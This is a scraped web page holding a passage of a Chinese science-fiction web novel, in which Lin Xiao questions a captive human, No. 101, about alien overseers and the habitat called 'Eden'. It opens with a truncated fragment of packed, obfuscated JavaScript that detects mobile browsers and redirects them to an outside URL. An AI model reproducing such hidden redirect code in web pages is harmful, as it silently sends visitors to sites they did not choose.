l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411043|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都算得上是保密单位。 这些诺古星人恨不得全方位无死角监控他们圈养的人类们，林筱可不敢将自己暴露，只能努力寻找监控的死角，所以走得越发奇怪。 但幸好101号什么也没说。 比起被诺古星人发现，被当成奇行种也行。 舰艇很大，但人类的居住区却显得有些拥挤。101号是一个人住，狭窄的单人床也就勉强塞下两个人。 林筱自然不会不识趣地占据床铺，搬了把椅子坐在旁边。 “晚餐吃了吗？”101号随口问道。 她真的只是随口一问，话音落下的同时，一管浑浊液体就已经挤在了林筱眼前。 林筱的确是饿了，看着101号一饮而尽的样子，她也装作习以为常地喝了下去。 味道不能说好，但也算不上差，勉强能喝的程度，就是粘稠得如同鼻涕在喉管蠕动，就算是喝下去一会的此刻也依旧能感觉到咽喉奇异的感觉。 “今天值班的诺古星人好少，估计又到了交接的时候了。”101号也搬了把凳子随口抱怨道。 这里的人居然知道诺古星人？ 林筱很快就意识到不能用看待中下城区的目光来看待这些在诺古星人眼皮子底下生活的人类，漫不经心地试探：“也可能不觉得刚才发生的事情算大事吧。” “也有这个可能。”101号点了点头，“就算只来了两个，它们也能完美解决这件事。” 两个？ 当时出现的成对的东西，似乎只有那两个机器人了。 如果说诺古星人是机械生命，倒也能解释得通。 所以他们会和商座里的机器员工一样躲藏在柜子里，所以黑暗并不会影响他们的视觉，所以通道里的台阶会对称得像有病一样。 而且，这里的人类并不畏惧诺古星人。他们对诺古星人就像是看待守卫自己的恩人一般，亲昵中透着尊敬。 一种新的认贼作父的方式。 “是的，他们很厉害。”林筱由衷地感慨。 “没错，没有他们，伊甸园也不会那么平和！”101号赞同。 伊甸园是系统自带的翻译，不可能是这个世界的原话，毕竟从林筱打听的信息来看，这个世界可没有上帝的信仰。但系统的翻译不会出错，那就是代表这里被这些人类视为乐园。 精神和物质的双重操控，这让这里的人类对诺古星人予取予求。 “但是，还是有很多人会选择离开伊甸园，尤其是交接期。”很快，101号又沮丧地垂下头，“上一次交接期，114号就离开了。” “或许他们有别的追求？” “可是再好的追求，也没在伊甸园生活的快乐呀。”101号表示尊重但不想理解，“也不知道外面有什么好的，他们一旦离开就再也不愿意联系我们这些还留在伊甸园的人了。” 嗯？ 101号可能不会多想，但林筱已经意识到了异常。 是不想联系，还是不能联系？101号的这个朋友，很可能已经不在人世了。 林筱将怜悯压进眼底：“你想他了？那要不去他离开前去过的地方，就当是陪他回忆在伊甸园的日子？” 101号沉思了一会，右手拍在桌子上，“噌”地站了起来：“好啊！”